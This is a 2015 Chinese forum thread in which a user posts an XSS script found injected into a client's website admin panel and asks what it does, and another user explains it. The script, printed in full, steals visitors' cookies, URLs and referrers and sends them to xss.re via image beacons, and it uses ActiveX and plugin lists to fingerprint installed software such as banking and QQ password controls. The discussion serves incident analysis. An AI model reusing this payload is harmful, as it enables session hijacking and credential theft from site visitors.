请教高手这段xss代码的作用

Captain

有个客户企业网站后台被xss了，特有此问

1. 
   
2. var x=new Image();
   
3. try
   
4. {
   
5. var myopener='';
   
6. myopener=window.opener && window.opener.location ? window.opener.location : '';
   
7. }
   
8. catch(err)
   
9. {
   
10. }
    
11. x.src='http://xss.re/XSS/?do=api&act=r&id=2603&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape
    
12. 
    
13. (document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);var activexa = new Array(
    
14.   "Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID",
    
15.   "Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID",
    
16.   "360Safe|360SafeLive.Update|classID",
    
17.   "Alibaba User(AliEdit)|Aliedit.EditCtrl|classID",
    
18.   "CMB Bank|CMBHtmlControl.Edit|classID",
    
19.   "Apple IPOD USER|IPodUpdaterExt.iPodUpdaterInterface|classID",  
    
20.   "Apple iTunes|iTunesAdmin.iTunesAdmin|classID",
    
21.   "JRE 1.7|JavaWebStart.isInstalled.1.7.0.0|classID",
    
22.   "JRE 1.6(WebStart)|JavaWebStart.isInstalled.1.6.0.0|classID",
    
23.   "KMPlayer|KMPlayer.TKMPDropTarget|classID",
    
24.   "KingSoft Word(�ʰ�)|KSEngine.Word|classID",
    
25.   "Windows live Messanger|Messenger.MsgrObject|classID",
    
26.   "Nero|NeroFileDialog.NeroFileDlg|classID",
    
27.   "Nokia Cellphone|NokiaCL.PhoneControl|classID",
    
28.   "PPlayer|PPlayer.XPPlayer|classID",
    
29.   "Tencent QQ|Qqedit.PasswordEditCtrl|classID",
    
30.   "QuickTime|QuickTime.QTElementBehavior|classID",
    
31.   "Symantec Anti-Virus|Symantec.stInetTransferItem|classID",
    
32.   "Xunlei|XunLeiBHO.ThunderIEHelper|classID"
    
33. );
    
34. 
    
35. function iescan(){
    
36.           var mytmp;
    
37.           var plus;
    
38.           var bar;
    
39.           var x=new Image();
    
40.           for (i=0; i<activexa.length; i++){
    
41.                   mytmp = activexa[i].split('|');  
    
42.                   if ( checkobj(mytmp[1]) == true ){
    
43.                               plus+="|"+mytmp[0]+"<br>";
    
44.                                   
    
45.                   }
    
46.           }
    
47.          bar = escape(plus);
    
48.         x.src='http://xss.re/XSS/?do=api&act=r&id=2603&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(document.myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);
    
49. 
    
50. }
    
51. 
    
52. 
    
53. function checkobj(objName){
    
54.         try {
    
55.                   var Obj = new ActiveXObject(objName);
    
56.                   return true;
    
57.   } catch (e){
    
58.                         return false;
    
59.   }
    
60. }
    
61. //-------------
    
62. function check_plus() {
    
63.         var plus = "";
    
64.         var bar = "";
    
65.         var b=new Image();
    
66. var num_of_plugins = navigator.plugins.length;
    
67. for (var i=0; i < num_of_plugins; i++) {
    
68.          plus+= navigator.plugins[i].name+"&nbsp;|&nbsp;"+ navigator.plugins[i].filename +"<br>";
    
69.    }
    
70.     bar = escape(plus);
    
71.     b.src='http://xss.re/XSS/?do=api&act=r&id=2603&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);
    
72. 
    
73. }
    
74. 
    
75. function MyPlusCheck() {
    
76. 
    
77.         if(!+[1,]){
    
78. iescan();
    
79. }else{
    
80.    check_plus();
    
81. }
    
82. }
    
83. setTimeout("MyPlusCheck()", 3000);

复制代码

雨宫音羽

似乎是获取访问者的相关信息。。包括在此站的cookie referrer 浏览器插件 访问的页面URL以及标题 通过生成一个伪图片src让浏览器发送到xss.re

Captain

雨宫音羽 发表于 2015-1-14 00:18
似乎是获取访问者的相关信息。。包括在此站的cookie referrer 浏览器插件 访问的页面URL以及标题 通过生成 ...

多谢，应该是也有获取登录站点cookies里密码的效果？

雨宫音羽

Captain 发表于 2015-1-14 01:43
多谢，应该是也有获取登录站点cookies里密码的效果？

cookie都获取到了 里面啥东西那肯定也一起过去了。。

Captain

雨宫音羽 发表于 2015-1-14 02:00
cookie都获取到了 里面啥东西那肯定也一起过去了。。

只限制这个站点的cookies，还会不会涉及到本地计算机其他隐私信息?

雨宫音羽

如果是只有这些代码的话那就只有我说的那些信息没别的

毕竟都只是“正常”使用Javascript。。没搞溢出之类的...

Captain

雨宫音羽 发表于 2015-1-14 05:24
如果是只有这些代码的话那就只有我说的那些信息没别的

毕竟都只是“正常”使用Javascript。。没搞溢出之类 ...

嗯嗯，中间还有一段很多软件的代码是什么含义？

雨宫音羽

Captain 发表于 2015-1-14 16:40
嗯嗯，中间还有一段很多软件的代码是什么含义？

检测浏览器插件的